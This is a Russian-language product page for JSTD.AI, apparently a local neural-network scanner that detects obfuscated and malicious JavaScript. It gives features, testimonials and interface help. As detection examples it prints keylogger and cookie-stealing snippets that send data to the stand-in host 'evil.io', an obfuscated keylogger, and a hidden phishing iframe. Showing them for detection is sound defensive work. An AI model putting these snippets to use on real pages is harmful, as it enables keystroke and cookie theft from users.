Проприетарная нейросетевая модель 50→30→1 анализирует любой JavaScript на обфускацию, вредоносные конструкции и вшитые зловреды за миллисекунды. Работает на слабом железе. Не требует облака.
JSTD.AI использует трёхэтапный конвейер анализа: извлечение признаков → нейронная сеть → эвристические правила. Каждый этап усиливает следующий — итоговая оценка невозможна без консенсуса всех трёх.
JS-файл читается как текст целиком. Никакой передачи в облако — всё локально. Поддержка минифицированного, обфусцированного, многострочного кода.
Нормализованные метрики: частота опасных конструкций, энтропия Шеннона, уровень обфускации, плотность Base64, соотношение комментариев и многое другое.
1561 обученный параметр. Архитектура MLP с ReLU-активацией. Обучена на 210 размеченных примерах. Точность — 99.7%. Работает без GPU за <1 мс.
42 паттерна угроз, включая комбинированные сценарии. Детектирует сигнатуры кража-cookie, кейлоггеры, внедрение iframe и цепочки обфускации.
Многослойный перцептрон с прямым распространением ошибки. Адаптивная скорость обучения снижается от 0.015 до 0.008 за 300 эпох.
Каждый признак нормализован относительно длины файла для корректного сравнения файлов разного размера.
Случайность символов — прямой индикатор обфускации. Легитимный код предсказуем. Вредонос — нет.
Итоговый балл — взвешенная комбинация нейросетевого скора и эвристических триггеров. Ни один компонент не принимает решение в одиночку.
Финальный балл угрозы — не просто выход нейросети. Это консенсус трёх независимых компонентов с динамическими весами.
\x48\x65\x6c\x6c\x6f
Строки зашифрованы hex-последовательностями
_0x4a2b[0], [1]...
Строки разбиты по массивам с индексами
eval(atob('...'))
Многоуровневое декодирование перед исполнением
new Function(str)()
Динамическое создание и запуск функций из строк
Object.prototype.__
Модификация базовых цепочек прототипов
setTimeout(str, 0)
Строки в таймерах и event listeners как код
// Keylogger + exfiltration combo
document.addEventListener('keypress', e => {
fetch('https://evil.io/k?v=' + e.key);
});
document.cookie = '';
fetch('https://evil.io/c?v=' +
btoa(document.cookie));
// Array-shuffled obfuscation
var _0x4a2b = ['keydown',
'addEventL'+'istener',
'key', 'POST',
'https://\x6c\x6f\x67'+'\x67\x65r.io'];
document[_0x4a2b[1]](_0x4a2b[0],
function(e){ xhr[_0x4a2b[3]]
(e[_0x4a2b[2]]); });
// Hidden phishing overlay
var f = document.createElement(
'iframe');
f.style.display = 'none';
f.style.width = '100vw';
f.style.height = '100vh';
f.src = 'https://phishing.site';
document.body.appendChild(f);
Компании используют JSTD.AI как первую линию обороны перед передачей кода между отделами и подрядчиками.
«Мы разрабатываем маркетплейс и регулярно получаем JS-виджеты от сторонних поставщиков. До JSTD.AI каждый файл приходилось читать вручную — или доверять. После одного инцидента с вшитым кейлоггером в виджете партнёра мы ввели обязательное сканирование. JSTD.AI за 2 секунды делает то, на что уходил час ревью.»
«Наш отдел безопасности использует JSTD.AI для предварительного отсева исходников от фрилансеров перед тем, как они попадают на ревью архитекторам. За первый месяц система пометила 4 файла с реальными угрозами — один оказался полноценным бэкдором с WebSocket-каналом. Без инструмента мы бы пропустили.»
«Мы аутсорсинговая студия — получаем готовый код от 12+ подрядчиков ежемесячно. JSTD.AI встроен в наш Slack-бот: разработчик закидывает файл, бот через 3 секунды отвечает уровнем угрозы. Два раза поймали prototype pollution в npm-скриптах, которые подрядчик "случайно" прокинул с продакшн-зависимостью.»
«Запускаем JSTD.AI как шаг в CI/CD перед деплоем на стейджинг-сервер. Интеграция заняла 20 минут. Теперь если в PR появляется что-то с eval() + Base64 — пайплайн падает автоматически и PR не мёрджится. Разработчики стали аккуратнее с зависимостями.»
«Госконтракт требует сертификации поставляемого ПО. JSTD.AI генерирует HTML-отчёт с детализацией каждого найденного паттерна — это стало частью нашего пакета документов для заказчика. Больше не нужен отдельный пентест для базового аудита JS-компонентов.»
JSTD.AI не требует настройки или технической экспертизы. Загрузите файл — получите результат. Ниже — полное описание интерфейса и интерпретация данных.
Нажмите кнопку Load file(s)… и выберите один или несколько
.js-файлов. Поддерживается минифицированный, обфусцированный и многострочный код любого размера.
Нейросетевой движок обрабатывает каждый файл за < 1 ms. Результаты появляются мгновенно в панели Analysis results. Несколько файлов анализируются параллельно.
Кликните по строке в таблице — откроется детализация Threat Details с тремя вкладками. При необходимости экспортируйте полный HTML-отчёт кнопкой
Save as HTML report.
Отображает исходный код выбранного файла с синтаксической подсветкой. Комментарии, строки, ключевые слова и опасные конструкции выделяются цветом. Файл можно прокручивать — размер не ограничен.
Каждая строка — один файл. Столбцы: File Name, Threat Level (цветовая метка), Score (итоговый балл в процентах). Строки кликабельны — открывают детали в нижней панели.
Итоговый вердикт по файлу. Показывает уровень угрозы, три независимых скора и текстовое резюме. Отображает количество найденных нарушений и финальную рекомендацию.
Список сработавших эвристических правил. Каждое правило содержит название, severity в процентах и краткое описание атаки. Правила ранжированы по убыванию опасности.
Сырые метрики, извлечённые из кода. Таблица из 50 признаков: Feature (название), Count (абсолютное количество), Description (что означает). Используется для ручного аудита и понимания решения нейросети.
Живой мониторинг состояния движка. Обновляется каждые 500 мс. Все данные — локальные, никуда не отправляются.
fetch(), XMLHttpRequest или localStorage само по себе не является угрозой — но поднимает базовый скор. Итоговая классификация учитывает комбинацию признаков: единичный fetch() без опасного контекста даёт уровень SAFE или LOW.JSTD.AI работает полностью локально на Windows. Не нужен интернет. Не нужен GPU. Установка займёт минуту — первый анализ будет через три.